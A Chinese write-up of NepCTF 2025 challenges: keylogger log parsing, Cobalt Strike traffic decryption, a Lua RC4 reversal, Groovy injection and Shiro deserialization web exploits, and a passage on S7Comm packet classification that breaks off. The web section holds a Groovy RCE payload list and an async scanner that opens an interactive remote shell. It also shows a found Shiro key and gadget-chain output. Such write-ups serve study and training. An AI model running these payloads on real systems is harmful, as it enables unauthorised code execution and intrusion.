NepCTF 2025

Misc

NepBotEvent

Challenge

最近总觉得 NepBot 不对劲,邀请函生成速度慢也就算了,以至于 /home/Nepnep/ 目录下都被创建了 flag.txt,吓得他赶紧拔网线跑路。经过初步排查,Neper 在他的机器上发现了一个神秘的键盘记录器(Keylogger)残留痕迹!

虽然恶意程序已被清除,但攻击者究竟掌握了哪些敏感信息?NepBOT 的账号有没有被窃?他的 “数据库” 是不是也暴露了?请你协助分析泄露的数据库名。flag 格式例如:NepCTF{数据库名}

Solution

文件内容呈现出明显的重复的块状结构(如下图)。通过观察重复出现的字节序列,可以初步推断记录是定长的,并且长度为 24 字节。同时整个文件的大小为 30648 字节,发现 30648 能被 24 整除,这印证了前面的猜想,一个记录块的大小很可能是 24 字节。

NepCTF2025-1

文件开头有字节序列 B7 43 83 68,这看起来像一个 32 位的数值。如果将其作为小端整数 0x688343B7 解析并尝试作为 Unix 时间戳转换,会得到一个日期 2025-07-25 16:43:37。由于比赛开始时间为 2025-07-25 19:00:00,很显然这个猜想也是正确的。因此这个二进制文件就是原始的 Linux 键盘事件流记录。

解析脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import struct
from datetime import datetime

# Linux /usr/include/linux/input-event-codes.h 的部分键码映射
KEY_MAP = {
1: '[ESC]', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0',
12: '-', 13: '=', 14: '[BACKSPACE]', 15: '[TAB]', 16: 'q', 17: 'w', 18: 'e', 19: 'r', 20: 't',
21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[', 27: ']', 28: '[ENTER]', 29: '[L_CTRL]',
30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';',
40: "'", 41: '`', 42: '[L_SHIFT]', 43: '\\', 44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b',
49: 'n', 50: 'm', 51: ',', 52: '.', 53: '/', 54: '[R_SHIFT]', 55: '[KP*]', 56: '[L_ALT]',
57: ' ', 58: '[CAPS_LOCK]', 59: '[F1]', 60: '[F2]', 61: '[F3]', 62: '[F4]', 63: '[F5]',
64: '[F6]', 65: '[F7]', 66: '[F8]', 67: '[F9]', 68: '[F10]', 69: '[NUM_LOCK]',
70: '[SCROLL_LOCK]', 96: '[KP_ENTER]', 97: '[R_CTRL]', 98: '[KP_/]', 100: '[R_ALT]',
102: '[HOME]', 103: '[UP]', 104: '[PGUP]', 105: '[LEFT]', 106: '[RIGHT]', 107: '[END]',
108: '[DOWN]', 109: '[PGDN]', 110: '[INSERT]', 111: '[DELETE]', 125: '[WIN_KEY]'
}

SHIFT_MAP = {
'`': '~', '1': '!', '2': '@', '3': '#', '4': '$', '5': '%', '6': '^', '7': '&', '8': '*', '9': '(',
'0': ')', '-': '_', '=': '+', '[': '{', ']': '}', '\\': '|', ';': ':', "'": '"', ',': '<', '.': '>',
'/': '?'
}

def analyze_linux_input_log(filepath):
"""
解析基于Linux input_event结构的文件
"""
try:
with open(filepath, 'rb') as f:
data = f.read()
except FileNotFoundError:
print(f"错误: 文件未找到 '{filepath}'")
return

record_size = 24
records_count = len(data) // record_size

print(f"成功读取文件: {filepath} ({len(data)} 字节)")
print(f"解析 {records_count} 条Linux input_event记录。\n")
print("-" * 80)

shift_pressed = False
output = ""
last_ts_sec = 0

for i in range(records_count):
offset = i * record_size
try:
# < : Little-endian
# L : tv_sec (unsigned long, 4 or 8 bytes, let's assume 8 for 64-bit with padding)
# Q : tv_usec (unsigned long long, 8 bytes)
# H : type (unsigned short, 2 bytes)
# H : code (unsigned short, 2 bytes)
# i : value (signed int, 4 bytes)
# We use QQHHi to match 8+8+2+2+4 = 24 bytes
tv_sec, tv_usec, ev_type, ev_code, ev_value = \
struct.unpack_from('<QQHHi', data, offset)

except struct.error as e:
print(f"\n错误: 无法在偏移量 {offset} 处解包记录: {e}")
continue

# 仅处理按键事件 (EV_KEY = 1)
if ev_type == 1:
if ev_code in [42, 54]: # KEY_LEFTSHIFT or KEY_RIGHTSHIFT
shift_pressed = (ev_value == 1 or ev_value == 2) # 1=press, 2=repeat
continue

# 只在按键被按下或重复时记录
if ev_value == 1 or ev_value == 2:
char = KEY_MAP.get(ev_code, f'[KEY_0x{ev_code:X}]')

# 处理Shift键
if shift_pressed:
if len(char) == 1 and char.isalpha():
output += char.upper()
else:
output += SHIFT_MAP.get(char, char)
else:
output += char

# 同步事件 (EV_SYN = 0) 通常表示一次完整输入动作的结束
elif ev_type == 0:
if output:
# 打印时间戳(仅当秒数变化时)
if tv_sec != last_ts_sec:
dt = datetime.fromtimestamp(tv_sec)
print(f"\n--- {dt.strftime('%Y-%m-%d %H:%M:%S')} ---")
last_ts_sec = tv_sec

print(output.replace("[ENTER]", "\n"), end="")
output = ""

# 打印文件中最后未同步的内容
if output:
print(output.replace("[ENTER]", "\n"))

print("\n" + "-" * 80)
print("分析完成。")


if __name__ == "__main__":
log_file = "NepBot_keylogger"
analyze_linux_input_log(log_file)

下面是运行结果中的关键部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
--- 2025-07-25 16:44:23 ---
[BACKSPACE]N
--- 2025-07-25 16:44:24 ---
epC
--- 2025-07-25 16:44:25 ---
TF
--- 2025-07-25 16:44:26 ---
-
--- 2025-07-25 16:44:27 ---
20
--- 2025-07-25 16:44:28 ---
2
--- 2025-07-25 16:44:29 ---
50725
--- 2025-07-25 16:44:32 ---
-
--- 2025-07-25 16:44:33 ---
114
--- 2025-07-25 16:44:34 ---
514
--- 2025-07-25 16:44:36 ---
;

拼起来即可得到 flag

1
NepCTF{NepCTF-20250725-114514}

客服小美

Challenge

2025 年的一个午后,客服小美满怀期待地点开了那封标题为 “关于 2025 年部分节假日安排” 的邮件,结果嘛…… 你懂的,套路来了!作为应急响应界的 “技术侦探”,现在轮到你出手啦!你的任务是找出被控机器的用户名、揪出那个偷偷通信的钓鱼木马地址,顺便看看有没有啥敏感信息被顺走。快来动动脑,展现你破案如神的本领吧!flag 格式例如:NepCTF{xiaomei_8.8.8.8:11451_secret}

大附件下载

Solution

先找出恶意程序的文件名

NepCTF2025-2

然后找到目录

NepCTF2025-3

得到被控机器的用户名 JohnDoe

恶意文件关于2025年部分节假日安排的通知.exe 就在桌面 M:\forensic\files\ROOT\Users\JohnDoe\Desktop

用云沙箱分析奇安信情报沙箱微步在线云沙箱,发现是 Cobalt Strike

NepCTF2025-4

分析流量得到 C2 服务器的 IP 192.168.27.132,端口 12580

NepCTF2025-5

把这个进程的内存 dump 出来得到 pid.6492.dmp

找到这个开源项目 DidierStevensSuite/cs-extract-key.py at master · DidierStevens/DidierStevensSuite

用第 103 条流量的内容暴力破解找到下行通信的密钥组:

1
python cs-extract-key.py -t 0253784ee86d3fc54693bb7ee14f40d64700446a4604ca0054103ba84e1a831d2a369c501e2a2522abdd9f5fe7652a16fd242669f6b10fb52e8b2b032a7ae00f6b25a8cecdffde72dadf1a18c1225f92 pid.6492.dmp

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
File: pid.6492.dmp
Searching for AES and HMAC keys
Found 2 instance(s) of string sha256\x00
Searching after sha256\x00 string (0x61a44)
AES key position: 0x00068c60
AES Key: a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7 ...O.j..'...^... 82.200000
HMAC key position: 0x00068c70
HMAC Key: 35d34ac8778482751682514436d71e09
SHA256 raw key: 35d34ac8778482751682514436d71e09:a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7
AES key position: 0x000ffaa7
AES Key: 4df048894c242033c9ff1592a5000048 M.H.L$ 3.......H 89.266667
Searching for raw key
Searching after sha256\x00 string (0x27ee2f4)
Searching for raw key

上行通信使用另一套不同的密钥组,用同样的方法获取:

1
python cs-extract-key.py -c 00000050350ca7f4379f30cc9d6d671db886d360691c74467156e60e8356725ae2f3b880b302ea8b5556df10324e86e53ecb84046646a1758e9cb8c7fca42d660617be467627abcc3c0ce3bd3e93c02fffcb4d3a pid.6492.dmp

输出:

1
2
3
4
5
6
7
8
9
10
11
12
File: pid.6492.dmp
Searching for AES and HMAC keys
Found 2 instance(s) of string sha256\x00
Searching after sha256\x00 string (0x61a44)
AES key position: 0x00068c60
AES Key: a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7 ...O.j..'...^... 82.200000
HMAC key position: 0x00068c70
HMAC Key: 35d34ac8778482751682514436d71e09
SHA256 raw key: 35d34ac8778482751682514436d71e09:a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7
Searching for raw key
Searching after sha256\x00 string (0x27ee2f4)
Searching for raw key

后面参考这篇文章 Cobalt Strike 流量解密 - 1cePeak,使用到的项目 WBGlIl/CS_Decrypt

hex 数据使用 base64 编码

NepCTF2025-6

再调用 CS_Task_AES_Decrypt.pyCS_Decrypt/CS_Task_AES_Decrypt.py at main · WBGlIl/CS_Decrypt 来解密执行的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
'''
cobaltstrike任务解密
'''
import hmac
import binascii
import base64
import struct

import hexdump
from Crypto.Cipher import AES

def compare_mac(mac, mac_verif):
if mac == mac_verif:
return True
if len(mac) != len(mac_verif):
print
"invalid MAC size"
return False

result = 0

for x, y in zip(mac, mac_verif):
result |= x ^ y

return result == 0


def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):
print("message authentication failed")
return

cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
data = cypher.decrypt(encrypted_data)
return data


def readInt(buf):
return struct.unpack('>L', buf[0:4])[0]

# 接收到的任务数据
shell_whoami= "AlN4TuhtP8VGk7t+4U9A1kcARGpGBMoAVBA7qE4agx0qNpxQHiolIqvdn1/nZSoW/SQmafaxD7UuiysDKnrgD2slqM7N/95y2t8aGMEiX5I="

if __name__ == "__main__":
# key源自Beacon_metadata_RSA_Decrypt.py
SHARED_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")
HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09")

enc_data = base64.b64decode(shell_whoami)
print("数据总长度:{}".format(len(enc_data)))
signature = enc_data[-16:]
encrypted_data = enc_data[:-16]

iv_bytes = bytes("abcdefghijklmnop",'utf-8')

dec = decrypt(encrypted_data,iv_bytes,signature,SHARED_KEY,HMAC_KEY)

counter = readInt(dec)
print("时间戳:{}".format(counter))

decrypted_length = readInt(dec[4:])
print("任务数据包长度:{}".format(decrypted_length))

data = dec[8:len(dec)]
print("任务Data")
print(hexdump.hexdump(data))

# 任务标志
Task_Sign=data[0:4]
print("Task_Sign:{}".format(Task_Sign))

# 实际的任务数据长度
Task_file_len = int.from_bytes(data[4:8], byteorder='big', signed=False)
print("Task_file:{}".format(Task_file_len))

with open('data.bin', 'wb') as f:
f.write(data[8:Task_file_len])

print(hexdump.hexdump(data[Task_file_len:]))

运行得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
数据总长度:80
时间戳:1736753536
任务数据包长度:46
任务Data
00000000: 00 00 00 4E 00 00 00 26 00 00 00 09 25 43 4F 4D ...N...&....%COM
00000010: 53 50 45 43 25 00 00 00 13 20 2F 43 20 74 79 70 SPEC%.... /C typ
00000020: 65 20 73 65 63 72 65 74 2E 74 78 74 00 00 41 41 e secret.txt..AA
00000030: 41 41 41 41 41 41 41 41 AAAAAAAA
None
Task_Sign:b'\x00\x00\x00N'
Task_file:38
00000000: 65 74 2E 74 78 74 00 00 41 41 41 41 41 41 41 41 et.txt..AAAAAAAA
00000010: 41 41 AA
None

发现这里启动一个新的 cmd.exe 进程,用它来读取并显示一个名为 secret.txt 的文件的内容,然后关闭这个 cmd.exe 进程

NepCTF2025-7

因此只要解密紧跟在 #103 之后的那个 POST 请求 #110 即可得到 secret.txt 的内容

解密 hex 数据,进行 base64 编码

NepCTF2025-8

然后再使用 Beacon_Task_return_AES_Decrypt.pyCS_Decrypt/Beacon_Task_return_AES_Decrypt.py at main · WBGlIl/CS_Decrypt 来解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# -*- coding: utf-8 -*-

'''
Beacon任务执行结果解密
'''
import hmac
import binascii
import base64
import struct
import hexdump
from Crypto.Cipher import AES

def compare_mac(mac, mac_verif):
if mac == mac_verif:
return True
if len(mac) != len(mac_verif):
print
"invalid MAC size"
return False

result = 0

for x, y in zip(mac, mac_verif):
result |= x ^ y

return result == 0

def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key):
if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature):
print("message authentication failed")
return

cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes)
data = cypher.decrypt(encrypted_data)
return data

# key源自Beacon_metadata_RSA_Decrypt.py
SHARED_KEY = binascii.unhexlify("a6f4a04f8a6aa5ff27a5bcdd5ef3b9a7")
HMAC_KEY = binascii.unhexlify("35d34ac8778482751682514436d71e09")

encrypt_data="AAAAUDUMp/Q3nzDMnW1nHbiG02BpHHRGcVbmDoNWclri87iAswLqi1VW3xAyToblPsuEBGZGoXWOnLjH/KQtZgYXvkZ2J6vMPAzjvT6TwC//y006"

encrypt_data=base64.b64decode(encrypt_data)

encrypt_data_length=encrypt_data[0:4]

encrypt_data_length=int.from_bytes(encrypt_data_length, byteorder='big', signed=False)

encrypt_data_l = encrypt_data[4:len(encrypt_data)]

data1=encrypt_data_l[0:encrypt_data_length-16]
signature=encrypt_data_l[encrypt_data_length-16:encrypt_data_length]
iv_bytes = bytes("abcdefghijklmnop",'utf-8')

dec=decrypt(data1,iv_bytes,signature,SHARED_KEY,HMAC_KEY)


counter = dec[0:4]
counter=int.from_bytes(counter, byteorder='big', signed=False)
print("counter:{}".format(counter))

dec_length = dec[4:8]
dec_length=int.from_bytes(dec_length, byteorder='big', signed=False)
print("任务返回长度:{}".format(dec_length))

de_data= dec[8:len(dec)]
Task_type=de_data[0:4]
Task_type=int.from_bytes(Task_type, byteorder='big', signed=False)
print("任务输出类型:{}".format(Task_type))

# print(de_data[4:dec_length].decode('utf-8'))
print(de_data[4:dec_length])

print(hexdump.hexdump(dec))

运行得到:

1
2
3
4
5
6
7
8
9
counter:4
任务返回长度:40
任务输出类型:30
b'5c1eb2c4-0b85-491f-8d50-4e965b9d8a43'
00000000: 00 00 00 04 00 00 00 28 00 00 00 1E 35 63 31 65 .......(....5c1e
00000010: 62 32 63 34 2D 30 62 38 35 2D 34 39 31 66 2D 38 b2c4-0b85-491f-8
00000020: 64 35 30 2D 34 65 39 36 35 62 39 64 38 61 34 33 d50-4e965b9d8a43
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
None

组合起来得到 flag:

1
NepCTF{JohnDoe_192.168.27.132:12580_5c1eb2c4-0b85-491f-8d50-4e965b9d8a43}

SpeedMino

Challenge

Welcome to SpeedMino! Reach 2600.00 to get FLAG

Also, there is a SECRET FLAG you need to REVERSE it.

Solution

NepCTF2025-9

其实就是个 zip 压缩包,解压之后拿到 main.lua 直接在此基础上修改代码,留下核心的解密部分稍微改改运行一下就出结果了

Lua 环境下载 [Download lua-5.4.2_Win64_bin.zip (LuaBinaries)](https://sourceforge.net/projects/luabinaries/files/5.4.2/Tools Executables/lua-5.4.2_Win64_bin.zip/download)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
local function KSA()
local key = "Speedmino Created By MrZ and modified by zxc"
local key_len = #key
local S = {}
for i = 0, 255 do
S[i] = i
end
local j = 0
for i = 0, 255 do
j = (j + S[i] + string.byte(key, i % key_len +1 , i % key_len +1)) % 256
S[i], S[j] = S[j], S[i]
end
return S
end

local function tableToStr(text)
local text_len = text[0]
local outstring = ""
local c
for i = 1, text_len do
c = text[i]
if c < 32 or c >= 127 then
outstring = outstring .. "#"
else
outstring = outstring .. string.char(c)
end
end
return outstring
end

local secretBox = KSA()
local secret_i = 0
local secret_j = 0
local youwillget = {187,24,5,131,58,243,176,235,179,159,170,155,201,23,6,3,210,27,113,11,161,94,245,41,29,43,199,8,200,252,86,17,72,177,52,252,20,74,111,53,28,6,190,108,47,16,237,148,82,253,148,6}
youwillget[0] = #youwillget

local function calcData(text_table)
local K = {}
local text_len = text_table[0]
K[0] = text_len
for n = 1, text_len do

secret_i = (secret_i + 1) % 256
secret_j = (secret_j + secretBox[secret_i]) % 256

secretBox[secret_i], secretBox[secret_j] = secretBox[secret_j], secretBox[secret_i]
K[n] = (text_table[n] + secretBox[(secretBox[secret_i] + secretBox[secret_j]) % 256]) % 256
end
return K
end

local dummy_table = {}
dummy_table[0] = 55
for i = 1, 55 do
dummy_table[i] = 0
end
calcData(dummy_table)

for i = 1, 2600 do
youwillget = calcData(youwillget)
end

local final_message = tableToStr(youwillget)
print(final_message)

运行得到 flag

1
NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ}

问卷

还以为是填完给 flag,结果瞎填完了没给 flag 倒回来看才发现 flag 在问卷开头。。。(orz 后来认真填了

1
NepCTF{W3lcome2025NepCTF_SeeYouNexT2026!}

Web

easyGooGooVVVY

Challenge

高松灯是一名 java 安全初学者,最近她在看 groovy 表达式注入。。。

Solution

这题 AI 一把梭了

让 AI 写一个脚本用于并发地测试一系列预设的 Groovy payload (这个也是让 AI 写的)尝试找到一个能够成功执行命令的 payload

一旦找到可用的 payload 就立即停止扫描,然后利用这个 payload 让我交互

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
import asyncio
import aiohttp
import sys

# --- 配置区 ---
URL = "https://nepctf31-y6w3-pjmd-y50k-6n6r0yvr2456.nepctf.com/run"
PAYLOADS = [
'"id".execute().text',
'("i"+"d").execute().text',
'["i","d"].join("").execute().text',
"['/bin/sh', '-c', 'id'].execute().text",
'new ProcessBuilder("id").start().text',
'this.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()',
"Class.forName('java.lang.ProcessBuilder').getConstructor([String[].class]).newInstance((Object) ['id'] as String[]).start().text",
'@groovy.transform.ASTTest(value={ assert "id".execute().text }) ""',
'String.metaClass.execute = { -> "id".execute().text }; "".execute()',
'{-> "id".execute().text}()',
]

# --- 脚本主逻辑 ---

async def send_command(session: aiohttp.ClientSession, payload: str):
"""发送单个命令并返回结果"""
headers = {'Content-Type': 'text/plain'}
try:
async with session.post(URL, data=payload, headers=headers, timeout=10) as response:
return await response.text()
except Exception as e:
return f"请求失败: {e}"

async def test_payload(session: aiohttp.ClientSession, payload: str, rce_found_event: asyncio.Event, found_payload_info: dict):
"""测试单个payload,如果成功则设置事件"""
if rce_found_event.is_set():
return

result = await send_command(session, payload)

if "uid=" in result and "gid=" in result:
if not rce_found_event.is_set():
print("\n" + "="*50)
print(">>> 🎉 成功!找到可用的 RCE Payload! 🎉")
print(f">>> Payload: {payload}")
print(f">>> 响应: {result.strip()}")
print("="*50 + "\n")
found_payload_info['payload'] = payload
rce_found_event.set()

async def interactive_shell(session: aiohttp.ClientSession, working_payload: str):
"""启动一个交互式 shell 来发送命令"""

# ####################################################################
# # 关键改动在这里! #
# # 我们现在尝试替换多种可能的命令模式 #
# ####################################################################
payload_template = None
command_patterns_to_replace = [
'("i"+"d")', # 对应 ("i"+"d").execute().text
'"id"', # 对应 "id".execute().text
'["i","d"]', # 对应 ["i","d"].join("").execute().text
"['/bin/sh', '-c', 'id']", # 对应 ...
# 注意:这里的替换逻辑是简单的字符串替换,可能需要根据具体payload微调。
# 例如,对于ASTTest,可能需要替换里面的 "id"
]

# 尝试自动创建模板
for pattern in command_patterns_to_replace:
if pattern in working_payload:
# 对于拼接字符串,我们需要用 "{cmd}" 替换,让它成为一个 Groovy 变量
# 对于其他情况,我们可能需要用 '"{cmd}"' 替换,让它成为一个字符串
# 这里我们统一用 '"{cmd}"',这在大多数情况下更通用
# payload_template = working_payload.replace(pattern, '"{cmd}"')
# 修正:对于 ("i"+"d") 这种,应该替换成 ("{cmd}")
if pattern == '("i"+"d")':
payload_template = working_payload.replace(pattern, '("{cmd}")')
else:
payload_template = working_payload.replace(pattern, '"{cmd}"')

break

# 如果自动创建失败,则进入手动模式
if not payload_template:
print(f"[!] 警告:无法自动创建命令模板。")
print(f"[!] 成功的 Payload 是: {working_payload}")
manual_cmd_part = input("[?] 请**精确**输入上面Payload中代表命令的部分进行替换 (例如: \"i\"+\"d\" ): ")
if manual_cmd_part:
payload_template = working_payload.replace(manual_cmd_part, '"{cmd}"')
else:
print("[!] 输入为空,无法创建模板,退出。")
return


print("--- 开启交互式 RCE 终端 ---")
print("输入 'exit' 或 'quit' 退出。")
print(f"使用的 Payload 模板: {payload_template}\n")

while True:
try:
cmd = input("[RCE Shell] $ ")
if cmd.lower() in ['exit', 'quit']:
print("终端已退出。")
break
if not cmd:
continue

# 将用户输入的命令填入模板,转义双引号防止注入破坏
safe_cmd = cmd.replace('"', '\\"')
final_payload = payload_template.format(cmd=safe_cmd)

print("...发送中...")
response_text = await send_command(session, final_payload)
print("\n--- [服务器响应] ---\n" + response_text.strip() + "\n" + "-"*20 + "\n")

except KeyboardInterrupt:
print("\n终端已退出。")
break
except Exception as e:
print(f"发生错误: {e}")

async def main():
rce_found_event = asyncio.Event()
found_payload_info = {'payload': None}
async with aiohttp.ClientSession() as session:
print("--- 开始并发扫描 Payload ---")
tasks = [test_payload(session, p, rce_found_event, found_payload_info) for p in PAYLOADS]
await asyncio.gather(*tasks)

if found_payload_info['payload']:
await interactive_shell(session, found_payload_info['payload'])
else:
print("\n--- 扫描完成 ---")
print("[!] 未能在列表中找到可用的 RCE Payload。")

if __name__ == "__main__":
if sys.platform == "win32":
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())

asyncio.run(main())

拿到 shell 之后在环境变量找到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
--- 开始并发扫描 Payload ---

==================================================
>>> 🎉 成功!找到可用的 RCE Payload! 🎉
>>> Payload: this.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
>>> 响应: uid=1000(app) gid=1000(app) groups=1000(app)
==================================================

--- 开启交互式 RCE 终端 ---
输入 'exit' 或 'quit' 退出。
使用的 Payload 模板: this.class.forName("java.lang.Runtime").getRuntime().exec("{cmd}").getText()

[RCE Shell] $ pwd
...发送中...

--- [服务器响应] ---
/app
--------------------

[RCE Shell] $ env
...发送中...

--- [服务器响应] ---
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin
HOSTNAME=ret2shell-29-485-1753533036
LANG=C.UTF-8
JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jre
JAVA_VERSION=8u212
JAVA_ALPINE_VERSION=8.212.04-r0
FLAG=flag{dd620e79-67c3-3db2-2a85-48560d35ec04}
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
HOME=/home/app
LD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjdk/jre/../lib/amd64
--------------------

[RCE Shell] $

NepCTF2025-10

1
flag{dd620e79-67c3-3db2-2a85-48560d35ec04}

RevengeGooGooVVVY

Challenge

稍微模拟一下 real 环境。题目不出网,没有给出完整 jar,请根据题目环境和信息思考附件关联性并进行进一步探索。 有人指示我来复仇了 好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧好想成为人类🐧🐧🐧

Solution

还是那个 payload。。。难绷

1
this.class.forName("java.lang.Runtime").getRuntime().exec("env").getText()

NepCTF2025-11

1
NepCTF{de5ab12d-d602-e757-2dfb-bd1f5bc9983c}

JavaSeri

Challenge

路由带上 login.jsp

Solution

工具一把梭

NepCTF2025-12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[++] 存在shiro框架!
[++] 找到key:kPH+bIxk5D2deZiIxcaaaA==
[+] 爆破结束
[-] 测试:CommonsBeanutils1 回显方式: AllEcho
[-] 测试:CommonsBeanutils1 回显方式: TomcatEcho
[-] 测试:CommonsBeanutils1 回显方式: SpringEcho
[-] 测试:CommonsBeanutils1_183 回显方式: AllEcho
[-] 测试:CommonsBeanutils1_183 回显方式: TomcatEcho
[-] 测试:CommonsBeanutils1_183 回显方式: SpringEcho
[-] 测试:CommonsCollections2 回显方式: AllEcho
[-] 测试:CommonsCollections2 回显方式: TomcatEcho
[-] 测试:CommonsCollections2 回显方式: SpringEcho
[-] 测试:CommonsCollections3 回显方式: AllEcho
[-] 测试:CommonsCollections3 回显方式: TomcatEcho
[-] 测试:CommonsCollections3 回显方式: SpringEcho
[-] 测试:CommonsCollectionsK1 回显方式: AllEcho
[-] 测试:CommonsCollectionsK1 回显方式: TomcatEcho
[-] 测试:CommonsCollectionsK1 回显方式: SpringEcho
[-] 测试:CommonsCollectionsK2 回显方式: AllEcho
[-] 测试:CommonsCollectionsK2 回显方式: TomcatEcho
[-] 测试:CommonsCollectionsK2 回显方式: SpringEcho
[-] 测试:CommonsBeanutilsString 回显方式: AllEcho
[-] 测试:CommonsBeanutilsString 回显方式: TomcatEcho
[-] 测试:CommonsBeanutilsString 回显方式: SpringEcho
[++] 发现构造链:CommonsBeanutilsString_183 回显方式: AllEcho
[++] 请尝试进行功能区利用。

还是在环境变量

NepCTF2025-13

1
flag{924a3f0d-e035-1180-be46-9bb33b215d03}

ICS

Factory - 水罐 SIEM

Challenge

薯饼最近给开了 15 年的工厂产线接上了互联网,但似乎抠门的薯饼没有采购新的设备,因此他只能自己实现一个 SIEM。但是这个 SIEM 的准确度似乎欠佳。我们准备了一些流,你能帮助薯饼判断这些流是否是恶意的吗?

对于每一个报文,其给出格式如下

1
<depth><overflow><waterActuator><packet>     1BYTE    1BYTE       1BYTE      nBYTEs    0x001f50 0x001f60    0x001f70

其中 depth 为水罐的水深度传感器数值,overflow 为逻辑输出 “是否溢出”,waterActuator 为水闸开关,packet 为操作报文。

当认为某报文为恶意时,请输入 1,否则请输入 0

薯饼准备了功能 2,让你能够快速了解报文内容,请每次给他一个纯报文字符串(注意不含 depth 等前三字节),如下是一个输入例子。

1
b'\x03\x00\x00\x19\x02\xf0\x802\x01\x00\x00\x08\xfc\x00\x08\x00\x00\x1e\x01\x00\x00\x00\x00\x00\x01'

特别地,薯饼的控制单元架号为 2300,存储的 DB 号为 1002。

Solution

也是给我抢到🩸了😋

NepCTF2025-15

水罐有水位 (depth)、溢出 (overflow)、水闸 (waterActuator) 三个状态

从题目暗示的 DB 号、架号和报文格式可以推断协议是 S7Comm

经过分析,一个报文被判定为恶意的依据与水罐的物理状态无关,恶意行为完全体现在其 S7Comm 协议的构造层面

以下是识别恶意报文的特征,一个报文只要满足其中任意一条就视为恶意

恶意特征 1:非法功能调用

  • 规则: 报文的 COTP(面向连接的传输协议)参数字节不等于 0x80。这个关键字节是服务器发来的完整数据流中的第 10 个字节(索引为 9)。
  • 解释: 在标准的 S7 通信数据传输中,这个字节通常是 0x80。在此题目中,出题人将 0x810x89 的值用作代表各种被禁止的特殊功能(如系统诊断、代码上传等)的标志。这是最高优先级的恶意特征。
  • 恶意报文示例:
1
2
3
# 第10个字节是 0x85 (正常应为 0x80)
↓↓
